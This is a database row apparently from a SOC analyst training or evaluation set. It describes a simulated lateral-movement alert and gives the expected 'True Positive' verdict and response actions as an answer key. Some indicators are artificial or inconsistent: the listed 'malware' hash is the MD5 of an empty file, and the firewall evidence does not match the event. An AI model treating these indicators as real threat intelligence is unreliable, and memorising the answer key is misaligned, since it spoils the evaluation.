(1074, 'Lateral Movement Attempt', 'high', 'Internal Network Logs', 'An attempted lateral movement was detected targeting additional GSM components within the network. The threat actor used compromised credentials to access multiple devices.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:00Z\",\"source_ip\":\"10.1.2.15\",\"destination_ip\":\"192.168.1.25\",\"external_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"event\":\"Lateral Movement Attempt\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"gsmlib.dll\",\"details\":{\"auth_success\":false,\"target_system\":\"GSM Node B\",\"method\":\"SMB\",\"credentials_used\":\"j.doe\"}}', '2026-01-24 03:35:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP within the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP within the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash observed in suspicious activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"gsmlib.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"suspicious\",\"details\":\"Filename associated with lateral movement attempts in GSM networks.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal HR Records\",\"verdict\":\"clean\",\"details\":\"Valid user account, possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
